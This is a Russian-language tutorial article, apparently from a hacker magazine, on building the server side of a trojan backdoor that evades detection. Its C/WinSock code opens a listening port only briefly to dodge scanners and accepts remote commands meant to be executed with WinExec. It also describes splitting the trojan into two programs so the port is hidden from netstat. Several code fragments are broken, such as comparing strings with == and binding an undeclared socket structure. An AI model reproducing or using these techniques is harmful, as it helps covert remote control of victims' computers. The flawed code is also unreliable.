| Конечно, в ТСPсоединении без этого не обойтись, сервер всегда должен иметь открытый порт, коннектясь к которому, сканер определяет, открыт порт или нет. От этого конечно не избавиться, но риск обнаружения можно намного уменьшить, даже свести его почти к нулю :)Как можно уменьшить вероятность обнаружения, в обычном случае почтистопроцентную? Элементарно - не держать порт все время открытым, а открывать его только на короткий период через определенный промежуток времени. Конечно, это потребует усложнения клиентской части, да и может добавить трудностей при работе с сервером, но всегда можно подобрать соотношение между паранойей обнаружения трояна и удобством работы с прогой. Для начала инициализируем библиотеку для работы с сокетами: WSADATA WsaData; int err = WSAStartup (0x0101, &WsaData); if (err == SOCKET_ERROR){ printf (\"WSAStartup() failed: %ld\", GetLastError ()); return 1; } Затем создадим структура адреса для сокета: SOCKADDR_IN tr1; tr1.sin_family = AF_INET; tr1.sin_port = htons(1234);//port tr1.sin_addr.S_un.S_addr = inet_addr(\"127.0.0.1\");//IP Затем создадим сокет и \"привяжем\" его к структуре: s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind( s, (LPSOCKADDR)&sin1, sizeof(sin1)); Все эти операции более подробно рассматривались в других статьях(например \"TCP Logger своими руками\"), поэтому не буду заострять внимания на их подробном описании. Далее начинается собственно основная часть программы: int evn=1; //evn - условие выхода, прерывания основного цикла. while (evn>0) { AfxBeginThread(*MyFunction1,NULL); Sleep(1000); //запускаем один поток. Ждем 1000 мсек. AfxBeginThread(*MyFunction2,NULL); Sleep(5000); //Запускаем второй поток. ждем 5000 мсек. } Теперь опишем функции потоков и их переменные.Переменную сокета s нужно сделать глобальной, так же как иструктура адресов: SOCKADDR_IN tr1; SOCKADDR_IN tr2; Эта функция как раз и выполняет функцию сервера - открывает порт и обрабатывает подключения. UINT MyFunction1( LPVOID pParam ) { int sz=sizeof(tr2); int os; os=listen(s,1); if (os!=-1) { s2=accept(s,(struct sockaddr*)&tr2,&sz); //////здесь могут быть дополнительные функции. } return 0; } Вторая функция \"вырубает\" сокет, поэтому вызов listenвыдает ошибку, и порт закрывается. UINT MyFunction2( LPVOID pParam ) { shutdown(s,0);//вырубание сокета. return 0; } Таким образом получаем работу проги по следующему алгоритму: - Открываем порт. - Ждем 1000 миллисекунд//это время порт открыт - Закрываем порт. - Ждем 5000 миллисекунд//это время - закрыт. Так что порт будет открыт и может быть засечен сканером только1/6 всего времени работы проги, т.е. вероятность обнаружения чуть более16%. Параметры в 1 и 5 секунд можно изменять в широких пределах, только нужно не забывать о скорости передачи данных в сети. Где-нибудь в локалке и 100миллисекунд более чем достаточно, а на тормозном dial-up\'e и секунды мало будет.Теперь нам нужно определиться, что нам нужно от трояна. Если он нужен только для передачи команд на чужой комп, то их вполне возможно передать в тот промежуток времени, когда порт открыт. Для этого в месте дальнейшего кода пишем: recv(s2,buf,sizeof(buf),0); if (buf==\"Noconnect\") //Noconnect - ключевое слово //указывает, что коннект через 1000 мсек будет прерван { brk=1; } Теперь все оставшееся время принимаем пакеты:int stopp=1; //stopp - переменная, указывающая, что передача пакетов прекращена while (stopp>0) { recv(s2,buf,sizeof(buf),0); if (buf==\"Endpackets\") //указывает, что передача пакетов окончена. { stopp=0; } //далее может быть интерпретатор команд, который выполняет переданные по сети //команды //наиболее простой путь - воспользоваться командой WinExec } Также следует отметить, что вместо команды \"Endpackets\" можно передать команду \"Noconnect\", да и вообще без команды Endpackets можно обойтись, потому как связь оборвется через определенное время, но лучше все делать культурно :)Только одно \"но\" - если команда \"Noconnect\" опоздаети придет после секундного интервала открытия порта, то он будет открыт весь цикл ожидания. Так что выбирай, что тебе нужнее - либо стопроцентно передать команды даже на плохой связи, либо незаметность функционирования проги. Можно добавить еще одну полезную функцию - проверку скорости связи и установку периодов различного состояния порта. Время ты сам можешь подобрать в зависимости от состояния связи. Поэтому добавим следующие функции в \"интерпретатор команд\": if (buf==\"Test\") //команда проверки связи { char buf1[7]=\"TestOk\"; send(s2,buf1,7,0); } Алгоритм - если получена команда \"Тest\" - тут же послать ответ.Клиентская часть будет подсчитает время между посылкой пакета с командой \"Тest\" и приемом пакета с командой \"ТestOk\". В среднем время прохождения будет равно половине полученного значения.После этого можно думать о изменении периодов состояния портов if (buf==\"TimeWork\") //команда изменения длительностиоткрытия порта { char buf1[10]; recv(s2,buf1,10,0); //в этом пакете передается длительность периода открытия порта вмиллисекундах //здесь должна быть функция перевода значения типа \"массив char\" в \"integer\" // а затем установка значения переменных длительности периодов. } if (buf==\"TimeWait\") //команда изменения времени ожидания открытия порта { char buf1[10]; recv(s2,buf1,10,0); //в этом пакете передается длительность периода ожидания вмиллисекундах } Дело за малым - перевести полученные значения в тип integer и присвоить это значение нужной переменной. После этого серверную часть можно считать почти что супер-пупер-крутой :)Осталось сделать такой же клиентскую часть :)Алгоритм похож до безобразия, думаю, ты сам справишься с претворением его в код :)Мы также коннектимся каждые N милисекунд, где N - время, которое порт открыт. По умолчанию - 1 секунда. Если подключение за это время не увенчалось успехом - значит порт сервера в этот момент времени закрыт, поэтомупрерываем коннект и пытаеся подключиться еще раз. Так после нескольких неудачных попыток, повторенных в цикле, мы в конце концов подключимся к серверной части. Этот способ, несмотря на очевидные плюсы, имеет и некоторые минусы. Например, юзер может посмотреть открытые порты на локальной машине с помощью проги netstat с ключом -an. Тогда прога выдаст что-то вроде:TCP 0.0.0.0:500 0.0.0.0 LISTENING TCP 0.0.0.0:10000 0.0.0.0 LISTENING TCP x.x.x.x:12345 0.0.0.0 LISTENINGТак что все открытые порты видны как на ладони. Так что даже закрытый порт будет виден, но за одним исключением - если программа, которая открыла этот порт, будет завершена. Вот этим мы и воспользуемся. Правда, придется усложнить серверную часть трояна, сделав ее в виде 2 программ - вспомогательная будет периодически запускать основную, которая и будет выполнять все необходимые функции. Алгоритм простой - первая прога в цикле запускает вторую, ждет Mмиллисекунд, опять запускает вторую и т.д. Вторая прога - в течении Nмиллисекунд выполняет нужные действия, завершается.Если троян должен работать непрерывно, можно сделать так, чтобы вторая прога не завершалась через N, а дабы не было N\'ого количества подключенных серваков, то проверяла бы вначале, есть ли соединение. И если есть, то завершала бы свою работу.Для запуска второй проги можно воспользоваться функцией WinExec из библитеки Winbase.h Она позволяет запускать программы в различных режимах, в том числе и в фоновом. Этим мы и воспользуемся, запустив функцию с параметрамиWinExec(\"C:...r.exe\",0); Первый параметр - путь к файлу. Правда, в таком случае прога будет видна в диспетчере задач(хотя это можно исправить, но данный вопрос выходит за рамки статьи), но вероятность ее обнаружения опять-таки будет мала, все зависит отсоотношения длительности периодов ожидания/работы. В этот период троян можно засечь netstat\'ом, но опять-таки только во время работы проги, а не все время, как в первом случае.Эти способы далеко не единственные, которыми можно решить эту интересную проблему, но другие я рассмотрю в следующей статье.
|